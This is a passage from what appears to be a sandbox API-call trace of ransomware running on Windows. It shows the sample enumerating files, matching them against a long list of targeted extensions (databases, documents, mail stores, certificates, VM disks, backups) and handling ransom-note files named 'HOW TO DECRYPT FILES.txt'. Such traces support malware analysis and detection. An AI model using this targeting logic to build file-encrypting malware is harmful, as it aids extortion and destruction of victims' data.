pszSpec="*.vsd") returned 0 [0057.789] lstrlenA (lpString="*.vsd") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.odg") returned 0 [0057.789] lstrlenA (lpString="*.odg") returned 5 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.raw") returned 0 [0057.790] lstrlenA (lpString="*.raw") returned 5 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.nef") returned 0 [0057.790] lstrlenA (lpString="*.nef") returned 5 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.svg") returned 0 [0057.790] lstrlenA (lpString="*.svg") returned 5 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.psd") returned 0 [0057.790] lstrlenA (lpString="*.psd") returned 5 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.vmx") returned 0 [0057.790] lstrlenA (lpString="*.vmx") returned 5 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.vmdk") returned 0 [0057.790] lstrlenA (lpString="*.vmdk") returned 6 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.vdi") returned 0 [0057.790] lstrlenA (lpString="*.vdi") returned 5 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.lay6") returned 0 [0057.790] lstrlenA (lpString="*.lay6") returned 6 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mpeg") returned 0 [0057.790] lstrlenA (lpString="*.mpeg") returned 6 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.djvu") returned 0 [0057.790] lstrlenA (lpString="*.djvu") returned 6 [0057.790] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.tiff") returned 0 [0057.790] lstrlenA (lpString="*.tiff") returned 6 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.backup") returned 0 [0057.791] lstrlenA (lpString="*.backup") returned 8 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.pdf") returned 0 [0057.791] lstrlenA (lpString="*.pdf") returned 5 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.cert") returned 0 [0057.791] lstrlenA (lpString="*.cert") returned 6 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.docm") returned 0 [0057.791] lstrlenA (lpString="*.docm") returned 6 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.xlsm") returned 0 [0057.791] lstrlenA (lpString="*.xlsm") returned 6 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.dwg") returned 0 [0057.791] lstrlenA (lpString="*.dwg") returned 5 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.nd") returned 0 [0057.791] lstrlenA (lpString="*.nd") returned 4 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.tlg") returned 0 [0057.791] lstrlenA (lpString="*.tlg") returned 5 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.lgb") returned 0 [0057.791] lstrlenA (lpString="*.lgb") returned 5 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mov") returned 0 [0057.791] lstrlenA (lpString="*.mov") returned 5 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.xdw") returned 0 [0057.791] lstrlenA (lpString="*.xdw") returned 5 [0057.791] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.ods") returned 0 [0057.791] lstrlenA (lpString="*.ods") returned 5 [0057.792] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.wav") returned 0 [0057.792] lstrlenA (lpString="*.wav") returned 5 [0057.792] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mp3") returned 0 [0057.792] lstrlenA (lpString="*.mp3") returned 5 [0057.792] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.aiff") returned 0 [0057.792] lstrlenA (lpString="*.aiff") returned 6 [0057.792] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.flac") returned 0 [0057.792] lstrlenA (lpString="*.flac") returned 6 [0057.792] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.m4a") returned 0 [0057.792] lstrlenA (lpString="*.m4a") returned 5 [0057.792] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.csv") returned 0 [0057.792] lstrlenA (lpString="*.csv") returned 5 [0057.792] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0057.792] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DW20.EXE") returned 1 [0057.792] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DW20.EXE") returned 1 [0057.792] lstrcmpiA (lpString1="", lpString2="DW20.EXE") returned -1 [0057.792] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned="branding.xml" [0057.792] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.792] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.792] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.793] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.793] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="DW20.EXE" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.ems") returned 0 [0057.793] lstrlenA (lpString="*.ems") returned 5 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.db") returned 0 [0057.793] lstrlenA (lpString="*.db") returned 4 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.dbf") returned 0 [0057.793] lstrlenA (lpString="*.dbf") returned 5 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.myox") returned 0 [0057.793] lstrlenA (lpString="*.myox") returned 6 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.myo") returned 0 [0057.793] lstrlenA (lpString="*.myo") returned 5 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qbw") returned 0 [0057.793] lstrlenA (lpString="*.qbw") returned 5 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qbb") returned 0 [0057.793] lstrlenA (lpString="*.qbb") returned 5 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qbm") returned 0 [0057.793] lstrlenA (lpString="*.qbm") returned 5 [0057.793] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qbo") returned 0 [0057.793] lstrlenA (lpString="*.qbo") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qbx") returned 0 [0057.794] lstrlenA (lpString="*.qbx") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qba") returned 0 [0057.794] lstrlenA (lpString="*.qba") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qby") returned 0 [0057.794] lstrlenA (lpString="*.qby") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qbj") returned 0 [0057.794] lstrlenA (lpString="*.qbj") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.ofx") returned 0 [0057.794] lstrlenA (lpString="*.ofx") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.qif") returned 0 [0057.794] lstrlenA (lpString="*.qif") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mye") returned 0 [0057.794] lstrlenA (lpString="*.mye") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mbox") returned 0 [0057.794] lstrlenA (lpString="*.mbox") returned 6 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.eml") returned 0 [0057.794] lstrlenA (lpString="*.eml") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.pst") returned 0 [0057.794] lstrlenA (lpString="*.pst") returned 5 [0057.794] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.ost") returned 0 [0057.794] lstrlenA (lpString="*.ost") returned 5 [0057.795] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.idx") returned 0 [0057.795] lstrlenA (lpString="*.idx") returned 5 [0057.795] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.dbx") returned 0 [0057.795] lstrlenA (lpString="*.dbx") returned 5 [0057.795] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.sql") returned 0 [0057.795] lstrlenA (lpString="*.sql") returned 5 [0057.795] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mdb") returned 0 [0057.796] lstrlenA (lpString="*.mdb") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.fdb") returned 0 [0057.796] lstrlenA (lpString="*.fdb") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.wab") returned 0 [0057.796] lstrlenA (lpString="*.wab") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.dat") returned 0 [0057.796] lstrlenA (lpString="*.dat") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.txt") returned 0 [0057.796] lstrlenA (lpString="*.txt") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.jpeg") returned 0 [0057.796] lstrlenA (lpString="*.jpeg") returned 6 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.jpg") returned 0 [0057.796] lstrlenA (lpString="*.jpg") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.png") returned 0 [0057.796] lstrlenA (lpString="*.png") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.php") returned 0 [0057.796] lstrlenA (lpString="*.php") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.cs") returned 0 [0057.796] lstrlenA (lpString="*.cs") returned 4 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.cpp") returned 0 [0057.796] lstrlenA (lpString="*.cpp") returned 5 [0057.796] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.rar") returned 0 [0057.796] lstrlenA (lpString="*.rar") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.zip") returned 0 [0057.797] lstrlenA (lpString="*.zip") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.html") returned 0 [0057.797] lstrlenA (lpString="*.html") returned 6 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.htm") returned 0 [0057.797] lstrlenA (lpString="*.htm") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.xlsx") returned 0 [0057.797] lstrlenA (lpString="*.xlsx") returned 6 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.xls") returned 0 [0057.797] lstrlenA (lpString="*.xls") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mp4") returned 0 [0057.797] lstrlenA (lpString="*.mp4") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.ppt") returned 0 [0057.797] lstrlenA (lpString="*.ppt") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.pptx") returned 0 [0057.797] lstrlenA (lpString="*.pptx") returned 6 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.doc") returned 0 [0057.797] lstrlenA (lpString="*.doc") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.dot") returned 0 [0057.797] lstrlenA (lpString="*.dot") returned 5 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.docx") returned 0 [0057.797] lstrlenA (lpString="*.docx") returned 6 [0057.797] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.7z") returned 0 [0057.797] lstrlenA (lpString="*.7z") returned 4 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.tar") returned 0 [0057.798] lstrlenA (lpString="*.tar") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.bz2") returned 0 [0057.798] lstrlenA (lpString="*.bz2") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.gz") returned 0 [0057.798] lstrlenA (lpString="*.gz") returned 4 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mkv") returned 0 [0057.798] lstrlenA (lpString="*.mkv") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.eml") returned 0 [0057.798] lstrlenA (lpString="*.eml") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.msg") returned 0 [0057.798] lstrlenA (lpString="*.msg") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.edb") returned 0 [0057.798] lstrlenA (lpString="*.edb") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.accdb") returned 0 [0057.798] lstrlenA (lpString="*.accdb") returned 7 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.odb") returned 0 [0057.798] lstrlenA (lpString="*.odb") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.java") returned 0 [0057.798] lstrlenA (lpString="*.java") returned 6 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.asm") returned 0 [0057.798] lstrlenA (lpString="*.asm") returned 5 [0057.798] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.pfx") returned 0 [0057.799] lstrlenA (lpString="*.pfx") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.pem") returned 0 [0057.799] lstrlenA (lpString="*.pem") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.p12") returned 0 [0057.799] lstrlenA (lpString="*.p12") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.gpg") returned 0 [0057.799] lstrlenA (lpString="*.gpg") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.vsd") returned 0 [0057.799] lstrlenA (lpString="*.vsd") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.odg") returned 0 [0057.799] lstrlenA (lpString="*.odg") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.raw") returned 0 [0057.799] lstrlenA (lpString="*.raw") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.nef") returned 0 [0057.799] lstrlenA (lpString="*.nef") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.svg") returned 0 [0057.799] lstrlenA (lpString="*.svg") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.psd") returned 0 [0057.799] lstrlenA (lpString="*.psd") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.vmx") returned 0 [0057.799] lstrlenA (lpString="*.vmx") returned 5 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.vmdk") returned 0 [0057.799] lstrlenA (lpString="*.vmdk") returned 6 [0057.799] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.vdi") returned 0 [0057.799] lstrlenA (lpString="*.vdi") returned 5 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.lay6") returned 0 [0057.800] lstrlenA (lpString="*.lay6") returned 6 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mpeg") returned 0 [0057.800] lstrlenA (lpString="*.mpeg") returned 6 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.djvu") returned 0 [0057.800] lstrlenA (lpString="*.djvu") returned 6 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.tiff") returned 0 [0057.800] lstrlenA (lpString="*.tiff") returned 6 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.backup") returned 0 [0057.800] lstrlenA (lpString="*.backup") returned 8 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.pdf") returned 0 [0057.800] lstrlenA (lpString="*.pdf") returned 5 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.cert") returned 0 [0057.800] lstrlenA (lpString="*.cert") returned 6 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.docm") returned 0 [0057.800] lstrlenA (lpString="*.docm") returned 6 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.xlsm") returned 0 [0057.800] lstrlenA (lpString="*.xlsm") returned 6 [0057.800] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.dwg") returned 0 [0057.800] lstrlenA (lpString="*.dwg") returned 5 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.nd") returned 0 [0057.801] lstrlenA (lpString="*.nd") returned 4 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.tlg") returned 0 [0057.801] lstrlenA (lpString="*.tlg") returned 5 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.lgb") returned 0 [0057.801] lstrlenA (lpString="*.lgb") returned 5 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mov") returned 0 [0057.801] lstrlenA (lpString="*.mov") returned 5 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.xdw") returned 0 [0057.801] lstrlenA (lpString="*.xdw") returned 5 [0057.801] PathMatchSpecA 